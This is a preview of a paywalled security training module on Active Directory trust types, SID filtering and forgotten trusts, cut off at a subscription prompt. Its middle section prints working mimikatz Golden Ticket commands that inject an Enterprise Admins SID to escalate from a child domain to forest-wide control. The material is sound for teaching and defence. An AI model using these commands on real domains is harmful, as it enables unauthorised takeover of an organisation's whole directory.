AD trusts let a user in one domain authenticate to resources in another. They come in many flavors — parent/child, tree, external, forest, realm. Each has different SID filtering behavior. Each has different attack surfaces. Many enterprises have trusts they forgot exist, left over from mergers, vendor integrations, or legacy architectures. Those forgotten trusts are often the attack path.
Why trusts are risky
A trust lets users from the trusted domain authenticate against the trusting domain. The default trust behavior:
- Transitive: if A trusts B and B trusts C, does A trust C? Varies by trust type.
- Bidirectional: some trusts go both ways; some one-way.
- SID filtering: whether SIDs from trusted domain are filtered at boundary. Without filtering, SIDHistory attacks work.
- Selective authentication: whether all users from trusted domain are accepted vs. specific ones.
Default trust creation doesn’t always enable SID filtering. Mergers often result in trusts configured quickly “to make things work” without full security review. Years later, the trust remains with original permissive settings.
Trust types
- Parent-Child: automatic within a forest. Always transitive, bidirectional, no SID filter (by design — intra-forest).
- Tree: between roots in same forest. Same as parent-child.
- Forest Trust: between two forests. SID filtering enabled by default since 2003. Often disabled post-merger for cross-forest access needs.
- External: between domains in different forests. Non-transitive. SID filtering default.
- Shortcut: within forest; optimize auth path. Intra-forest rules.
- Realm: to non-Windows Kerberos (e.g., MIT Kerberos). Rare.
SIDHistory attack (enabled by disabled SID filtering)
When SID filtering is off on a trust, the Privileged Attribute Certificate (PAC) in the Kerberos ticket can contain SIDs from the trusted domain. Attacker who compromises trusted domain → forges Golden Ticket with trusting domain’s Domain Admins SID in SIDHistory → authenticated as DA in trusting domain.
# Attacker has Domain Admin in CHILD.CORP.LOCAL (child domain)
# Wants to compromise CORP.LOCAL (parent/forest root)
# Standard Golden Ticket in child
mimikatz # kerberos::golden /domain:child.corp.local /sid:S-1-5-21-CHILD /rc4:KRBTGT_HASH /user:admin
# SIDHistory trick: inject SID of Enterprise Admins (in root domain)
mimikatz # kerberos::golden /domain:child.corp.local /sid:S-1-5-21-CHILD \
/sids:S-1-5-21-CORP-519 /rc4:KRBTGT_HASH /user:admin /ptt
# S-1-5-21-CORP-519 = Enterprise Admins of forest root
# Now authenticated to anything in the forest as EA
# Works because intra-forest trust doesn't SID-filter by default
Forest trusts between separate forests default to SID filtering → this attack doesn’t work. Intra-forest (parent-child) doesn’t filter → attack works unless explicitly configured.
Foreign security principals abuse
When a user from trusted domain is granted access in trusting domain, a foreign-security-principal object is created. Common grants:
🔐 Advanced Module · Pro Tier
Continue reading with Pro tier (₹4,999/year)
You've read 27% of this module. Unlock the remaining deep-dive, quiz, and every other Advanced/Expert module.
136+ modulesAll levels up to this tier
20-question quizzesUnlimited retries with explanations
Completion certificatesShareable on LinkedIn
5 more sections locked below
